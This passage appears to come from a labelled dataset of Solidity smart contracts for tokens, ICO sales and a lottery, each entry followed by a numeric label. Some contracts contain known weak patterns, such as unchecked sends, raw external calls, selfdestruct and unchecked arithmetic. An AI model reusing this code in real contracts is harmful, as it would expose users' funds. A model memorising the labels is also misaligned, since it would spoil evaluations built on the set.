return super.decreaseAllowance(spender, subtractedValue);
}
}
contract ReleasableToken is StandardToken, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
revert();
}
}
_;
}
constructor() public {
releaseAgent = msg.sender;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
revert();
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
revert();
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) public returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) public returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract UpgradeableToken is StandardToken {
using SafeMath for uint;
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
constructor() public {
upgradeMaster = msg.sender;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
require((state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading));
require (value != 0);
_burn(msg.sender, value);
totalUpgraded = totalUpgraded.add(value);
upgradeAgent.upgradeFrom(msg.sender, value);
emit Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
require(canUpgrade());
require(agent != address(0));
require(msg.sender == upgradeMaster);
require(getUpgradeState() != UpgradeState.Upgrading);
upgradeAgent = UpgradeAgent(agent);
require(upgradeAgent.isUpgradeAgent());
require(upgradeAgent.originalSupply() == totalSupply());
emit UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == address(0)) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
require(master != 0x0);
require(msg.sender == upgradeMaster);
upgradeMaster = master;
}
function canUpgrade() public pure returns(bool) {
return true;
}
}
contract TrustEdToken is ReleasableToken, PausableToken, Recoverable, BurnableToken, UpgradeableToken, MintableToken {
string public name;
string public symbol;
uint256 public decimals;
uint256 TOTAL_SUPPLY;
event UpdatedTokenInformation(string newName, string newSymbol);
constructor() public {
name = "TrustEd Token";
symbol = "TED";
decimals = 18;
TOTAL_SUPPLY = 1720000000 * (10**decimals);
_mint(msg.sender, TOTAL_SUPPLY);
}
function setTokenInformation(string _name, string _symbol) onlyOwner external{
name = _name;
symbol = _symbol;
emit UpdatedTokenInformation(name, symbol);
}
} | 1 | 4,630 |
pragma solidity ^0.4.16;
interface Token {
function transferFrom(address _from, address _to, uint256 _value) external;
}
contract SGEPreICO {
Token public tokenReward;
address public creator;
address public owner = 0x8dfFcCE1d47C6325340712AB1B8fD7328075730C;
uint256 public price;
uint256 public startDate;
uint256 public endDate;
modifier isCreator() {
require(msg.sender == creator);
_;
}
event FundTransfer(address backer, uint amount, bool isContribution);
function SGEPreICO() public {
creator = msg.sender;
startDate = 1531612800;
endDate = 1536969600;
price = 2500;
tokenReward = Token(0x40489719E489782959486A04B765E1E93E5B221a);
}
function setOwner(address _owner) isCreator public {
owner = _owner;
}
function setCreator(address _creator) isCreator public {
creator = _creator;
}
function setStartDate(uint256 _startDate) isCreator public {
startDate = _startDate;
}
function setEndtDate(uint256 _endDate) isCreator public {
endDate = _endDate;
}
function setPrice(uint256 _price) isCreator public {
price = _price;
}
function setToken(address _token) isCreator public {
tokenReward = Token(_token);
}
function kill() isCreator public {
selfdestruct(owner);
}
function () payable public {
require(msg.value >= 1 ether);
require(now > startDate);
require(now < endDate);
uint amount = msg.value * price;
amount += amount / 2;
tokenReward.transferFrom(owner, msg.sender, amount);
FundTransfer(msg.sender, amount, true);
owner.transfer(msg.value);
}
} | 1 | 2,799 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Iou_Token is ERC20Interface {
string public constant symbol = "IOU";
string public constant name = "IOU token";
uint8 public constant decimals = 18;
uint256 public constant maxTokens = 800*10**6*10**18;
uint256 public constant ownerSupply = maxTokens*30/100;
uint256 _totalSupply = ownerSupply;
uint256 public constant token_price = 10**18*1/800;
uint256 public pre_ico_start = 1528416000;
uint256 public ico_start = 1531008000;
uint256 public ico_finish = 1541635200;
uint public constant minValuePre = 10**18*1/1000000;
uint public constant minValue = 10**18*1/1000000;
uint public constant maxValue = 3000*10**18;
uint public coef = 102;
using SafeMath for uint;
address public owner;
address public moderator;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => uint256) public orders_sell_amount;
mapping(address => uint256) public orders_sell_price;
address[] public orders_sell_list;
event Order_sell(address indexed _owner, uint256 _max_amount, uint256 _price);
event Order_execute(address indexed _from, address indexed _to, uint256 _amount, uint256 _price);
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
modifier onlyModerator() {
if (msg.sender != moderator) {
throw;
}
_;
}
function changeOwner(address _owner) onlyOwner returns (bool result) {
owner = _owner;
return true;
}
function changeModerator(address _moderator) onlyOwner returns (bool result) {
moderator = _moderator;
return true;
}
function Iou_Token() {
owner = 0x25f701bff644601a4bb9c3daff3b9978e2455bcd;
moderator = 0x788C45Dd60aE4dBE5055b5Ac02384D5dc84677b0;
balances[owner] = ownerSupply;
}
function() payable {
tokens_buy();
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = _totalSupply;
}
function withdraw(uint256 _amount) onlyOwner returns (bool result) {
uint256 balance;
balance = this.balance;
if(_amount > 0) balance = _amount;
owner.send(balance);
return true;
}
function change_coef(uint256 _coef) onlyOwner returns (bool result) {
coef = _coef;
return true;
}
function change_pre_ico_start(uint256 _pre_ico_start) onlyModerator returns (bool result) {
pre_ico_start = _pre_ico_start;
return true;
}
function change_ico_start(uint256 _ico_start) onlyModerator returns (bool result) {
ico_start = _ico_start;
return true;
}
function change_ico_finish(uint256 _ico_finish) onlyModerator returns (bool result) {
ico_finish = _ico_finish;
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function tokens_buy() payable returns (bool) {
uint256 tnow = now;
if(tnow < pre_ico_start) throw;
if(tnow > ico_finish) throw;
if(_totalSupply >= maxTokens) throw;
if(!(msg.value >= token_price)) throw;
if(!(msg.value >= minValue)) throw;
if(msg.value > maxValue) throw;
uint tokens_buy = (msg.value*10**18).div(token_price);
uint tokens_buy_total;
if(!(tokens_buy > 0)) throw;
uint b1 = 0;
uint b2 = 0;
uint b3 = 0;
if(_totalSupply <= 10*10**6*10**18) {
b1 = tokens_buy*30/100;
}
if((10*10**6*10**18 < _totalSupply)&&(_totalSupply <= 20*10**6*10**18)) {
b1 = tokens_buy*25/100;
}
if((20*10**6*10**18 < _totalSupply)&&(_totalSupply <= 30*10**6*10**18)) {
b1 = tokens_buy*20/100;
}
if((30*10**6*10**18 < _totalSupply)&&(_totalSupply <= 40*10**6*10**18)) {
b1 = tokens_buy*15/100;
}
if((40*10**6*10**18 < _totalSupply)&&(_totalSupply <= 50*10**6*10**18)) {
b1 = tokens_buy*10/100;
}
if(50*10**6*10**18 <= _totalSupply) {
b1 = tokens_buy*5/100;
}
if(tnow < ico_start) {
b2 = tokens_buy*40/100;
}
if((ico_start + 86400*0 <= tnow)&&(tnow < ico_start + 86400*5)){
b2 = tokens_buy*5/100;
}
if((ico_start + 86400*5 <= tnow)&&(tnow < ico_start + 86400*10)){
b2 = tokens_buy*4/100;
}
if((ico_start + 86400*10 <= tnow)&&(tnow < ico_start + 86400*20)){
b2 = tokens_buy*5/100;
}
if((ico_start + 86400*20 <= tnow)&&(tnow < ico_start + 86400*30)){
b2 = tokens_buy*2/100;
}
if(ico_start + 86400*30 <= tnow){
b2 = tokens_buy*1/100;
}
if((1000*10**18 <= tokens_buy)&&(5000*10**18 <= tokens_buy)) {
b3 = tokens_buy*5/100;
}
if((5001*10**18 <= tokens_buy)&&(10000*10**18 < tokens_buy)) {
b3 = tokens_buy*75/10/100;
}
if((10001*10**18 <= tokens_buy)&&(15000*10**18 < tokens_buy)) {
b3 = tokens_buy*10/100;
}
if((15001*10**18 <= tokens_buy)&&(20000*10**18 < tokens_buy)) {
b3 = tokens_buy*125/10/100;
}
if(20001*10**18 <= tokens_buy) {
b3 = tokens_buy*15/100;
}
tokens_buy_total = tokens_buy.add(b1);
tokens_buy_total = tokens_buy_total.add(b2);
tokens_buy_total = tokens_buy_total.add(b3);
if(_totalSupply.add(tokens_buy_total) > maxTokens) throw;
_totalSupply = _totalSupply.add(tokens_buy_total);
balances[msg.sender] = balances[msg.sender].add(tokens_buy_total);
return true;
}
function orders_sell_total () constant returns (uint256) {
return orders_sell_list.length;
}
function get_orders_sell_amount(address _from) constant returns(uint) {
uint _amount_max = 0;
if(!(orders_sell_amount[_from] > 0)) return _amount_max;
if(balanceOf(_from) > 0) _amount_max = balanceOf(_from);
if(orders_sell_amount[_from] < _amount_max) _amount_max = orders_sell_amount[_from];
return _amount_max;
}
function order_sell(uint256 _max_amount, uint256 _price) returns (bool) {
if(!(_max_amount > 0)) throw;
if(!(_price > 0)) throw;
orders_sell_amount[msg.sender] = _max_amount;
orders_sell_price[msg.sender] = (_price*coef).div(100);
orders_sell_list.push(msg.sender);
Order_sell(msg.sender, _max_amount, orders_sell_price[msg.sender]);
return true;
}
function order_buy(address _from, uint256 _max_price) payable returns (bool) {
if(!(msg.value > 0)) throw;
if(!(_max_price > 0)) throw;
if(!(orders_sell_amount[_from] > 0)) throw;
if(!(orders_sell_price[_from] > 0)) throw;
if(orders_sell_price[_from] > _max_price) throw;
uint _amount = (msg.value*10**18).div(orders_sell_price[_from]);
uint _amount_from = get_orders_sell_amount(_from);
if(_amount > _amount_from) _amount = _amount_from;
if(!(_amount > 0)) throw;
uint _total_money = (orders_sell_price[_from]*_amount).div(10**18);
if(_total_money > msg.value) throw;
uint _seller_money = (_total_money*100).div(coef);
uint _buyer_money = msg.value - _total_money;
if(_seller_money > msg.value) throw;
if(_seller_money + _buyer_money > msg.value) throw;
if(_seller_money > 0) _from.send(_seller_money);
if(_buyer_money > 0) msg.sender.send(_buyer_money);
orders_sell_amount[_from] -= _amount;
balances[_from] -= _amount;
balances[msg.sender] += _amount;
Order_execute(_from, msg.sender, _amount, orders_sell_price[_from]);
}
} | 0 | 2,147 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract GoodGameCenterToken is StandardBurnableToken {
string public name;
string public symbol;
uint8 public decimals;
constructor() public {
name = "GoodGameCenterToken";
symbol = "GGC";
decimals = 18;
totalSupply_ = 500000000*(10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
}
} | 1 | 3,591 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
uint256 initialSupply=100000000;
string tokenName='PLLE';
string tokenSymbol='PLLE';
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract PLLE is owned, TokenERC20 {
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function PLLE(
) TokenERC20() public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value >= balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
} | 1 | 4,603 |
pragma solidity ^0.4.22;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract DBXTTest2 is StandardToken {
using SafeMath for uint256;
string public name = "DBXTTest2";
string public symbol = "DBXTTest2";
uint256 public decimals = 18;
uint256 public INITIAL_SUPPLY = 20000000 * 1 ether;
event Burn(address indexed from, uint256 value);
function DBXTTest2() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function burn(uint256 _value) returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract DBXTTest2ICO is Ownable {
using SafeMath for uint256;
string public name = "DBXTTest2ICO";
DBXTTest2 public DT;
address public beneficiary;
uint256 public priceETH;
uint256 public priceDT;
uint256 public weiRaised = 0;
uint256 public investorCount = 0;
uint public startTime;
uint public endTime;
bool public crowdsaleFinished = false;
event GoalReached(uint amountRaised);
event NewContribution(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
modifier onlyAfter(uint time) {
require(now > time);
_;
}
modifier onlyBefore(uint time) {
require(now < time);
_;
}
function DBXTTest2ICO (
address _dtAddr,
address _beneficiary,
uint256 _priceETH,
uint256 _priceDT,
uint _startTime,
uint _duration
) {
DT = DBXTTest2(_dtAddr);
beneficiary = _beneficiary;
priceETH = _priceETH;
priceDT = _priceDT;
startTime = _startTime;
endTime = _startTime + _duration * 1 weeks;
}
function () payable {
require(msg.value >= 0.01 * 1 ether);
doPurchase(msg.sender, msg.value);
}
function withdraw(uint256 _value) onlyOwner {
beneficiary.transfer(_value);
}
function finishCrowdsale() onlyOwner {
DT.transfer(beneficiary, DT.balanceOf(this));
crowdsaleFinished = true;
}
function doPurchase(address _sender, uint256 _value) private onlyAfter(startTime) onlyBefore(endTime) {
require(!crowdsaleFinished);
uint256 dtCount = _value.mul(priceDT).div(priceETH);
require(DT.balanceOf(this) >= dtCount);
if (DT.balanceOf(_sender) == 0) investorCount++;
DT.transfer(_sender, dtCount);
weiRaised = weiRaised.add(_value);
NewContribution(_sender, dtCount, _value);
if (DT.balanceOf(this) == 0) {
GoalReached(weiRaised);
}
}
} | 1 | 5,132 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract SkyvToken is StandardToken {
string public name = "Skyv Token";
string public symbol = "SKV";
uint public decimals = 18;
uint public INIT_SUPPLY = 2100000000 * (10 ** decimals);
constructor() public {
totalSupply = INIT_SUPPLY;
balances[msg.sender] = INIT_SUPPLY;
emit Transfer(0x0, msg.sender, INIT_SUPPLY);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
} | 1 | 3,808 |
pragma solidity ^0.5.4;
contract SmartLotto {
using SafeMath for uint;
uint8 private constant DRAW_DOW = 4;
uint8 private constant DRAW_HOUR = 11;
uint private constant DAY_IN_SECONDS = 86400;
struct Member {
address addr;
uint ticket;
uint8[5] numbers;
uint prize;
uint8 payout;
}
struct Game {
uint datetime;
uint8[5] win_numbers;
uint membersCounter;
uint totalFund;
uint p2;
uint p3;
uint p4;
uint p5;
uint8 status;
mapping(uint => Member) members;
}
mapping(uint => Game) public games;
uint private CONTRACT_STARTED_DATE = 0;
uint private constant TICKET_PRICE = 0.01 ether;
uint private constant MAX_NUMBER = 36;
uint private constant PERCENT_FUND_JACKPOT = 15;
uint private constant PERCENT_FUND_4 = 35;
uint private constant PERCENT_FUND_3 = 30;
uint private constant PERCENT_FUND_2 = 20;
uint public JACKPOT = 0;
uint public GAME_NUM = 0;
uint private constant return_jackpot_period = 25 weeks;
uint private start_jackpot_amount = 0;
uint private constant PERCENT_FUND_PR = 15;
uint private FUND_PR = 0;
address private constant ADDRESS_SERVICE = 0x203bF6B46508eD917c085F50F194F36b0a62EB02;
address payable private constant ADDRESS_START_JACKPOT = 0x531d3Bd0400Ae601f26B335EfbD787415Aa5CB81;
address payable private constant ADDRESS_PR = 0xCD66911b6f38FaAF5BFeE427b3Ceb7D18Dd09F78;
event NewMember(uint _gamenum, uint _ticket, address _addr, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event NewGame(uint _gamenum);
event UpdateFund(uint _fund);
event UpdateJackpot(uint _jackpot);
event WinNumbers(uint _gamenum, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event PayOut(uint _gamenum, uint _ticket, uint _prize, uint8 _payout);
uint private constant POOL_SIZE = 30;
uint private POOL_COUNTER = 0;
uint private w2 = 0;
uint private w3 = 0;
uint private w4 = 0;
uint private w5 = 0;
function() external payable {
if(msg.sender == ADDRESS_START_JACKPOT) {
processStartingJackpot();
} else {
